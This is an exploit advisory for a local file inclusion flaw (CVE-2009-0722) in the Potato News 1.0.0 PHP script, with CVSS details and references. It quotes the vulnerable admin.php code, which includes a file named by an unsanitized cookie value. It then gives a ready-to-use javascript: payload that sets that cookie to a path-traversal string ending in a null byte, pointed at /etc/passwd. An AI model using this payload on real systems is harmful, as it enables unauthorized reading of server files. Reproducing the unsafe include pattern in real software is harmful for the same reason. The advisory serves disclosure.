Potato News 1.0.0 (user) Local File Inclusion Vulnerability

2009.02.27

Credit: x0r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-0722

CWE: CWE-22

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#########################################################################################
[0x01] Informations:

Name           : Potato News 1.0.0
Download       :
http://potato-news.googlecode.com/files/potatonews-1.0.0.zip
Vulnerability  : LFI
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
	<?PHP
if (isset($_COOKIE["user"])) {
$id = $_COOKIE["user"];
if (file_exists("data/users/$id.php")) {
include ("data/users/$id.php");
if ($usaavatar == "") {
echo "<img height='75px' width='75px' src='images/noav.jpg'/>";

} else {
echo "<img height='75px' width='75px' src='$usaavatar'/>";
}
}
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: javascript:document.cookie =
"user=../../../../../../../../../../etc/passwd%00; path=/"

########################################################################################

References:

http://www.securityfocus.com/bid/33729

http://www.milw0rm.com/exploits/8032

See this note in RAW Version

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Potato News 1.0.0 (user) Local File Inclusion Vulnerability

References:

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